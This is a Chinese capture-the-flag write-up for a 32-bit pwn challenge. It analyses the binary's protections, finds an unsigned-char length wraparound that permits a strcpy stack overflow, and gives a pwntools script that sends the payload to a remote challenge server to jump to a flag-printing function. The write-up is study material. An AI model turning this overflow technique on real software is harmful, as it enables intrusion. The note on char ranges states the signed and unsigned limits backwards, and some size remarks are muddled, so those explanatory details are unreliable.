首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
32位,小端序 开启部分RELRO---got表仍可写 未开启canary保护---存在栈溢出 开启NX保护----注入的shellcode不可执行 未开启PIE----程序地址为真实地址 动态链接
程序运行后让我们选择login(登陆)或exit(退出)
选1,之后输入username(用户名),之后输入passwd(密码),最后只给我们一个success
直接ida看伪代码
主函数未发现什么漏洞,看一下login函数
两个read函数,读入字节一个为0x19小于s的0x28,一个为0x199小于buf的0x199,不能造成栈溢出
再看一下check_passwd(&buf)函数
v3的类型为 unsigned __int8指的是无符号字符型
c语言数据类型
发现危险函数,strcpy函数把字符串s(就是login()函数里的buf(即passwd所在位置))复制给dest,而dest只有0x14字节大小,字符串s有0x288大小,所以可以将字符串s插入system函数地址(即程序中的what_is_this()函数),覆盖strcpy函数返回地址为what_is_this()函数地址,直接获得flag
如果要执行strcpy函数就需要v3满足3
'''
整数溢出,无符号char 最大表示数字127,有符号char为255
'''
from pwn import *
context(os = 'linux',endian = 'little',arch = 'i386',log_level = 'debug')
sh = remote('111.200.241.244',61352)
cat_flag = 0x804868B
sh.recvuntil('choice:')
sh.sendline('1')
sh.recvuntil('username:')
sh.sendline('qwe')
sh.recvuntil('passwd:')
payload = flat(['a' * 0x14,'b' * 4,cat_flag,'b' * (259 - 0x14 - 4 - 4)])
sh.sendline(payload)
sh.interactive()
运行获得flag



